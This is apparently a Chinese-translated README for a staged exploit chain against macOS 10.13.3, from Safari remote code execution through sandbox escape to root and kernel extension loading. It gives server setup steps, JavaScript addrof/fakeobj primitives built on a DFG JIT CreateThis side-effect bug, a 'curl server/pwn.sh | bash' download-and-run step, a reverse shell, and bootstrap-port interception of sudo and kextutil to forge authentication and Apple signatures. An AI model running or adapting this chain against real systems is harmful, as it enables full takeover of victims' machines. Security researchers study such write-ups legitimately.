针对 macOS 10.13.3 的 Safari RCE、沙箱逃逸和内核 LPE。
安装 nasm 和 tornado:
brew install nasm
pip3 install tornado
如果你想更改主机或端口,请检查 config.py。然后使用 ./server.py 启动服务器,并导航到显示的 URL。
这个漏洞利用链使用三个不同的漏洞,从 Safari 内运行的 JavaScript 代码逐步实现内核模式代码执行:
该漏洞利用链分六个阶段实现,每个阶段位于各自的子目录中:
每个子目录(libspc/ 除外)都包含一个名为 make.py 的文件,执行该文件会执行任何必要的构建命令,并生成一个由 Web 服务器提供的文件列表。
目标:在沙箱化的 WebContent 进程中实现 shellcode 执行
利用的漏洞:DFG JIT 编译器中的错误优化
另见 此 BlackHat 演讲
DFG JIT 编译器使用其自身的中间表示(IR),即数据流图(DFG),来表示 JavaScript 代码。通常,一个 JavaScript 表达式会被转换为该图中的一个或多个 IR 指令。对于构造函数,会发出 CreateThis 指令,该指令负责分配由构造函数创建的 this 对象。例如,函数 function Consructor() {} 在通过 new 调用时,大致会被转换为
v0 = CreateThis
return v0
通过查看 AbstractInterpreter,我们可以看到 DFG JIT 编译器假设 CreateThis 操作除了堆分配之外不会产生任何副作用。实际上,以下代码:
function Constructor(obj) {
return obj.x;
}
大致会被转换为以下 DFG 指令:
(这里,StructureCheck 已被 TypeCheckHoistingPhase 移动到函数的开头。)
StructureCheck(arg1);
v0 = CreateThis;
v1 = LoadOffset(arg1, OFFSET)
return v1;
然而,这个假设是无效的,因为 CreateThis 的慢路径代码在某些情况下可以执行任意 JavaScript 代码。特别是,通过在真实函数周围使用 Proxy,CreateThis 的慢路径处理程序在需要获取所构造对象的原型对象时,会调用 “prototype” 属性的 get 陷阱:
function Constructor(obj) {
return obj.x;
}
var handler = {
get(target, propname) {
/* run JS here, modify the structure of the argument object, etc. */
return target[propname];
},
};
var ConstructorProxy = new Proxy(Constructor, handler);
// Force JIT compilation of ConstructorProxy
因此,现在可以在 JIT 编译器不执行退出的情况下修改对象的 Structure。
这个漏洞可用于构建 addrof 和 fakeobj 原语,如下所示:
我们针对具有未装箱 double 元素的 JSArray 编译代码,然后在回调中转换为 JSValue 元素。之后,JIT 代码将从数组中加载一个 JSValue,但将这些位视为 double 并返回给我们。以下代码会将 leakme 的地址赋值给所构造对象的 “address” 属性。
function InfoLeaker(a) {
this.address = a[0];
}
var handler = {
get(target, propname) {
if (trigger)
arg[0] = leakme;
return target[propname];
},
};
// ...
这里我们基本上反其道而行之:我们优化代码,将 double 存储到具有未装箱 double 元素的数组中,然后在回调中再次转换为 JSValue 元素。代码将继续以未装箱形式将我们控制的 double 写入后备存储。当之后访问该数组元素时,它会将这些位视为 JSValue 而不是 double。以下代码会将未装箱的 double address 写入 a 的后备缓冲区,然后我们可以将其作为 JSValue 读出,从而允许我们向引擎“注入”我们选择的 JSValue。
function ObjFaker(a, address) {
a[0] = address;
}
var handler = {
get(target, propname) {
if (trigger)
arg[0] = {};
return target[propname];
},
};
// ...
因此,我们最终能够写入一个 double 并将其视为 JSObject 指针,反之亦然。如 攻击 JavaScript 引擎 中所述,这可以被利用。
该漏洞利用首先通过伪造 Float64Array 实现任意进程内存读写,然后搜索 JIT 区域(映射为 RWX)并将 stage1 shellcode 写入该区域。
目标:通过将 .dylib 写入磁盘并使用 dlopen() 加载它,来引导阶段 2
一个简短的汇编载荷,基本上执行以下操作:
confstr(\_CS\_DARWIN\_USER\_TEMP\_DIR) 获取可写目录的路径dlopen() 将 dylib 加载到 WebContent 进程中目标:突破沙箱
利用的漏洞:launchd 的 “legacy_spawn” API 中缺少沙箱检查
另见 此演讲
launchd 将 “legacy_spawn” RPC 端点作为子系统 3 中的例程 817 暴露。该 API 未能验证调用者是否被允许生成进程,并且只会使用受控参数为调用者 execve 系统上的任何二进制文件。由于 launchd 可通过 bootstrap 端口访问,因此这使得逃逸沙箱成为可能。
该漏洞利用实质上是运行 curl server/pwn.sh | bash,从而将控制权传递给 stage3。
目标:弹出计算器并引导其余阶段
这执行 open /Applications/Calculator.app 并建立反向 shell,然后获取其余阶段所需的所有文件并运行漏洞利用程序。
目标:通过 LPE 漏洞利用获取 root
利用的漏洞:XNU bootstrap 端口中间人(MitM)
另见 此 POC 演讲
在 XNU 中,task_set_special_port API 允许调用者覆盖其 bootstrap 端口,该端口用于与 launchd 通信。该端口在 fork 之间继承:子进程将使用与父进程相同的 bootstrap 端口。现在,如果子进程比父进程拥有更高权限,就会出现安全问题,例如 sudo(setuid 二进制文件)或 kextutil(拥有 “com.apple.rootless.kext-management” 授权)就是这种情况。通过覆盖 bootstrap 端口并 fork 一个子进程,我们现在可以获得子进程与 launchd 之间的 MitM 位置(子进程在向 bootstrap 端口发送消息时,期望能够到达 launchd)。子进程将要求 launchd 解析各种 mach 和 XPC 服务。通过将这些服务解析为由我们控制的其他端口,我们还可以获得与子进程使用的任意系统服务之间的 MitM 位置。具体如何利用则取决于被攻击程序如何使用这些服务。
为了获取 root,我们将目标锁定为 sudo 二进制文件,并拦截它与 opendirectoryd 的通信,sudo 使用 opendirectoryd 来验证凭据。我们修改 opendirectoryd 的回复,使我们的密码看起来是有效的。
似乎有人尝试修复这个问题,因为 libxpc(负责与 launchd 通信)会验证响应确实来自 uid=0 且 pid=1(== launchd)的进程。然而,这些检查是不够的。我们可以按如下方式绕过它们,将 opendirectoryd 解析到我们自己的端口:
bootstrap_register2 API 向 launchd 注册我们自己的 mach 服务(例如 net.saelo.hax)com.apple.system.opendirectoryd.api 替换为 net.saelo.hax现在(对于提升到 root 权限而言)剩下的工作就是转发 opendirectoryd 和 sudo 之间的消息,但将身份验证错误回复替换为成功回复。
目标:加载(自签名)内核扩展
利用的漏洞:XNU bootstrap 端口 MitM
这利用的是与 stage4 相同的漏洞,但这次目标是 kextutil。我们拦截与 com.apple.trustd 的连接并伪造证书链,使 kextutil 认为我们的自签名 kext 实际上是由 Apple 直接签名的。
当被要求从磁盘加载 .kext 时,kextutil 大致按以下步骤进行:
trustd 通信以获取证书链,并确定根证书是否受信任syspolicyd 通信,检查 .kext 是否获得用户批准。但是,如果无法访问 syspolicyd,kextutil 会直接继续这使得以下攻击能够加载自签名内核扩展:
com.apple.trustd 解析到我们自己的服务trustd 的消息,并回复一个官方 Apple .kext 的硬编码证书链syspolicyd 的通信(例如,在向 launchd 的服务查找请求中将 com.apple.security.syspolicy.kext 替换为 net.saelo.lolno)kextutil 现在会将我们的内核扩展加载到内核中。